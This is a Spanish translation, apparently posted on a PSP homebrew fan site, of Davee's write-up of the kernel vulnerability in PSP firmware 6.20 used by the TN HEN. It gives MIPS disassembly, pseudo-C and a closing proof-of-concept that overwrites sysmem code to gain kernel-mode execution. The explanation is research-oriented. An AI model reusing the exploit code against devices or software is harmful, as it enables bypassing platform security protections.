Sábado, 2017-11-18, 7:55 PM
Web Homebrew PSP - PS VitaInicio

Registrarse

Entrada
Le saludo Huésped | RSS
Búsqueda

Formulario de entrada

Menú del sitio

Encuesta
Si eres nuevo ¿Como nos encontraste?
Total de respuestas: 101

Estadística

Total en línea: 1
Invitados: 1
Usuarios: 0

Inicio » 2010 » Diciembre » 28 » 'Viendo dentro de un exploit para el kernel 6.20'
10:53 PM
'Viendo dentro de un exploit para el kernel 6.20'
Davee, es un aficionado a la Ps3 y la PsP. Actualmente trabaja investigando sobre el firmware y hardware introducidos en la PsPGo con respecto a los modelos anteriores. En este artículo (traducido por diron123) nos muestra el código desensamblado y en pseudo-C envuelto en la vulnerabilidad que permitió desarrollar el HEN. Nos detalla un poco el mecanismo de seguridad introducido por Sony y como se puede 'vencer' esta protección que no permite 'correr' nuestros homebrew en el Firmware Oficial 6.20.

Traducido por diron123


Ya que 6.20 TN-A esta por toda la internet, ahora vamos a describir la vulnerabilidad del kernel utilizado. Atras en 5.70/6.00 Sony presento una caracteristica en el Library cseUtility_private que permitio armar y desarmar una devolucion de llamada con privilegios del kernel.


sceUtility_private_764F5A3C //Set power callback
sceUtility_private_2DC8380C // release (unset) power callback


Estas dos funciones no se importan normalmente por lo que requieren algunas técnicas especiales como la estimación syscall para llegar a ellos a fin de utilizar su funcionalidad.

Ahora, como este kernel funciona? He aquí cómo:


Utility_private_764F5A3C:
0x000027F0: 0x27BDFFF0 '...'' - addiu $sp, $sp, -16
 0x000027F4: 0xAFB00000 '....' - sw $s0, 0($sp)
 0x000027F8: 0x03608021 '!.`.' - move $s0, $k1
 0x000027FC: 0xAFBF0004 '....' - sw $ra, 4($sp)
 0x00002800: 0x0C002229 ')"..' - jal scePower_driver_1A41E0ED
 0x00002804: 0x001BDAC0 '....' - sll $k1, $k1, 11
 0x00002808: 0x0200D821 '!...' - move $k1, $s0
 0x0000280C: 0x8FBF0004 '....' - lw $ra, 4($sp)
 0x00002810: 0x8FB00000 '....' - lw $s0, 0($sp)
 0x00002814: 0x03E00008 '....' - jr $ra
 0x00002818: 0x27BD0010 '...'' - addiu $sp, $sp, 16




Por lo tanto, es una función muy sencilla, uno puede invertir para producir el código pseudo-C:

int sceUtility_private_764F5A3C(args)
{
 u32 k1 = BACKUP_K1();
 SET_K1(k1 << 11);
 
 int res = scePower_driver_1A41E0ED(args);
 
 SET_K1(k1);
 return res;
}



Como esta función viene de una syscall, interruptmgr establece el registro $ k1 a 0×100000.

Ahora mismo usted puede estar pensando "QUE RAYOS ES $ k1?" Y los $ k1, es un registro utilizado para ayudar a filtrar las direcciones no autorizadas del kernel modo de usuario. Por ejemplo, ChickHEN utiliza un kernel exploit que se aprovechó de la falta de uno de estos controles en este valor de $ k1. Por lo general, Sony cambia el registro $ k1 de 11 bits (en 6.xx)  como para cambiar el valor a 0 × 80000000, que se contrastarán con una dirección para comprobar si es del kernel.  Como las direcciones del kernel atributo son or'd con 0 × 80000000 entonces el resultado será 0×80000000, que por dos de elogio es también un número negativo, resultando a menudo en los controles para los negativos. 

Volver a esta hazaña, la función toma el valor 0×100000 y lo desplaza a la izquierda 11 a resultar en 0×80000000, el valor principal para el control de una dirección del kernel. Después, llama a la scePowerRegisterCallback (nid kernel nativo es 0x1A41E0ED).

Así que, por naturaleza, damos un vistazo al power.prx y mirar a esta función y nos encontramos con los ensambladores siguientes:

scePowerRegisterCallback:
 0x000007F0: 0x27BDFFD0 '...'' - addiu $sp, $sp, -48
 0x000007F4: 0x2883FFFF '...(' - slti $v1, $a0, -1
 0x000007F8: 0xAFB20018 '....' - sw $s2, 24($sp)
 0x000007FC: 0x03609021 '!.`.' - move $s2, $k1
 0x00000800: 0x001BDAC0 '....' - sll $k1, $k1, 11
 0x00000804: 0xAFB10014 '....' - sw $s1, 20($sp)
 0x00000808: 0x00A08821 '!...' - move $s1, $a1
 0x0000080C: 0xAFB00010 '....' - sw $s0, 16($sp)
 0x00000810: 0x00808021 '!...' - move $s0, $a0
 0x00000814: 0xAFBF0020 ' ...' - sw $ra, 32($sp)
 0x00000818: 0x1460005D '].`.' - bnez $v1, loc_00000990
 0x0000081C: 0xAFB3001C '....' - sw $s3, 28($sp)
 0x00000820: 0x07610003 '..a.' - bgez $k1, loc_00000830
 0x00000824: 0x28840010 '...(' - slti $a0, $a0, 16
 0x00000828: 0x10800053 'S...' - beqz $a0, loc_00000978
 0x0000082C: 0x3C0B8000 '...<' - lui $t3, 0x8000

Te asusta?? Verdad?? xD vamos a tomar pedazo por pedazo. Permite la visita de nuestro amigo Google Al googlear el nombre de la funcion, podemos encontrar el prototipo "scePowerRegisterCallback int ( ranura int, SceUIDCBID)". Ahora los controles del kernel de $ a0 (ranura) <-1 y tiendas verdaera o falsa en el registro $ v1. Después de eso, vemos a nuestro k1 registros $ que se usa. En primer lugar se guarda una copia de seguridad, entonces los cambios en 11 .

Ahora, vamos a pensar en esto ... tenemos actualmente los $ k1 establecidos en 0×80000000, si se cambia de puesto 11, el resultado sería 0 × 40 mil millones, pero el registro $ k1 está a sólo 32 bits de ancho, por lo que los resultados de desbordamiento en $ k1 = 0, que permite a todos los controles en el kernel para tener éxito.

A continuación, pasa a comprobar el valor almacenado en $ v1 (la ranura <-1) es verdadera, si bien es cierto que devolverá un error. Entonces, va a una sucursal si $ k1> = 0. Normalmente, si una syscall llamó a esta función, $ k1 sería 0×80000000, que por dos de elogio es negativo y no va a pasar. Así que si $ k1 es> = 0, podemos suponer que es la comprobación de modo de kernel.

//Check if cbid is valid
 0x00000878: 0x0C0016FC '....' - jal sceKernelCpuSuspendIntr
 0x0000087C: 0x00000000 '....' - nop 
 0x00000880: 0x240DFFFF '...$' - li $t5, -1
 0x00000884: 0x120D0020 ' ...' - beq $s0, $t5, loc_00000908
 0x00000888: 0x00409821 '!.@.' - move $s3, $v0
; Data ref 0x00006D00 ... 0x00000000 0x00000000 0x00000000 0x00000000 
 0x0000088C: 0x3C030000 '...<' - lui $v1, 0x0
 0x00000890: 0x00103900 '.9..' - sll $a3, $s0, 4
; Data ref 0x00006D00 ... 0x00000000 0x00000000 0x00000000 0x00000000 
 0x00000894: 0x24656D00 '.me$' - addiu $a1, $v1, 27904
 0x00000898: 0x00E51821 '!...' - addu $v1, $a3, $a1
 0x0000089C: 0x8C640000 '..d.' - lw $a0, 0($v1)
 0x000008A0: 0x3C068000 '...<' - lui $a2, 0x8000
 0x000008A4: 0x0480000C '....' - bltz $a0, loc_000008D8
 0x000008A8: 0x34D00020 ' ..4' - ori $s0, $a2, 0x20

Ahora, se puede ver que los cambios de ranura de 4 bits a la izquierda y luego se añade a una dirección en power.prx. Ahora, el problema aquí es que no comprueba ranura  <16 como lo hace si la función es llamada en modo de usuario. Así, se puede controlar una dirección que tiene acceso a power.prx. Aquí se carga la palabra de 32 bits y comprueba <0 (como <0 es una devolución de llamada no se utiliza). Así, suponiendo que la devolución de llamada no se utiliza, que puede progresar a loc_000008D8.

loc_000008D8: ; Refs: 0x000008A4 
 0x000008D8: 0xAC710000 '..q.' - sw $s1, 0($v1)
 0x000008DC: 0x02202021 '! .' - move $a0, $s1
 0x000008E0: 0x00008021 '!...' - move $s0, $zr
 0x000008E4: 0xAC600004 '..`.' - sw $zr, 4($v1)
 0x000008E8: 0x8CB10204 '....' - lw $s1, 516($a1)
 0x000008EC: 0xAC60000C '..`.' - sw $zr, 12($v1)
 0x000008F0: 0xAC710008 '..q.' - sw $s1, 8($v1)
 0x000008F4: 0x8CA50204 '....' - lw $a1, 516($a1)

Sí, aquí se almacena una abundancia de información a la dirección que tiene el control DE. Almacena un valor de 16 bytes de datos, en particular, el segundo, en 4 bytes , de hecho 0×00000000 o una instrucción nop. Esto puede ser usado en una variedad de lugares para hacerse con el control del sistema.

Personalmente, allá por 2009 pensé que sería una buena idea usar sysmem. Recordé que en una gran cantidad de las exportaciones allí donde sólo los punteros de función. Sin embargo, me di cuenta de que, dado que se trata de una desviación a la izquierda por 4, la dirección tenía que ser de 16 alineados. Por lo tanto, busqué y encontré esto:

0x0000CCB0: 0xACC205B0 '....' - sw $v0, 1456($a2)
 0x0000CCB4: 0x08003322 '"3..' - j loc_0000CC88
 0x0000CCB8: 0x00001021 '!...' - move $v0, $zr
 
; ======================================================
; Subroutine sceKernelPowerLockForUser - Address 0x0000CCBC - Aliases: sceKernelPowerLock
; Exported in sceSuspendForKernel
; Exported in sceSuspendForUser
sceKernelPowerLockForUser:
 0x0000CCBC: 0x3C050000 '...<' - lui $a1, 0x0
 0x0000CCC0: 0x8CA305B4 '....' - lw $v1, 1460($a1)
 0x0000CCC4: 0x27BDFFF0 '...'' - addiu $sp, $sp, -16
 0x0000CCC8: 0xAFBF0000 '....' - sw $ra, 0($sp)
 0x0000CCCC: 0x14600004 '..`.' - bnez $v1, loc_0000CCE0
 0x0000CCD0: 0x00001021 '!...' - move $v0, $zr
 0x0000CCD4: 0x8FBF0000 '....' - lw $ra, 0($sp)
 
loc_0000CCD8: ; Refs: 0x0000CCEC 
 0x0000CCD8: 0x03E00008 '....' - jr $ra
 0x0000CCDC: 0x27BD0010 '...'' - addiu $sp, $sp, 16
 
loc_0000CCE0: ; Refs: 0x0000CCCC 
 0x0000CCE0: 0x8C620010 '..b.' - lw $v0, 16($v1)
 0x0000CCE4: 0x0040F809 '..@.' - jalr $v0
 0x0000CCE8: 0x00000000 '....' - nop 
 0x0000CCEC: 0x08003336 '63..' - j loc_0000CCD8
 0x0000CCF0: 0x8FBF0000 '....' - lw $ra, 0($sp)




Ahora bien, esto es hermoso. La nop sobrescribir la lui de una dirección, y, a continuación, puede pasar el puntero propias que le permitirá saltar directamente en el código con los derechos del kernel!

Finalmente, se llegó a este código:

/* create a callback */
 SceUID callback = pspKernelCreateCallback("Callback", Callback, NULL);
 
 /* back track so the address is relative to sysmem */
 u32 sysmem_addr = (~power_buffer_address + 1) >> 4;
 
 /* unregister the callback to ensure that < 0 is stored */
 pspUtilityPowerUnregisterCallback(sysmem_addr + 0xCCB);
 
 /* now nop the top of PowerLock */
 u32 res = pspUtilityPowerRegisterCallback(sysmem_addr + 0xCCB, callback);
 
 /* delete callback */
 pspKernelDeleteCallback(callback);
 ClearCaches();
 
 /* get the kernel entry in */
 u32 local_var = ((u32)kernel_entry) | 0x80000000;
 u32 local_var2 = ((u32)&local_var) - 16;
 
 /* call this to get into kernel mode (note, 0x4234 is taken from the live version of sysmem */
 int res = pspKernelPowerLock(NULL, ((u32)&local_var2) - 0x4234);
 
 ClearCaches();

Puede haber algunos gaps, he usado otro exploit para mantener los datos dinámicos, pero que debe dar una idea general a todo. Buenas noches, Felicidades TN y Feliz Navidad y propero a^o nuevo

Fuente -- lolhax.org
Categoría: Noticias | Visiones: 542 | Ha añadido: nelsonlombardo | Ranking: 5.0/2
Total de comentarios: 2
1  
Buen trabajo, esto ayuda a los que quieren investigar y comprender un poco más sobre el apasionante mundo de los FW y el entendimiento sobre los famosos exploits.

2  
Si ^^

Solamente los usuarios registrados pueden añadir los comentarios.
[ Registrarse | Entrada ]
Pagina en Facebook

Categorías de la sección
Aplicaciones [31]
Games [7]
Launcher's [26]
Plugins [24]
Noticias [33]
Emuladores [4]
Tutorial [8]
rumores [1]
PS Vita [2]
Todas las noticias y homebrews para PS Vita.

La Web Existe....

Usted..
Usted esta usando para navegar Hoy es 2017-11-18

Copyright TotalPSPScene 2010- © 2017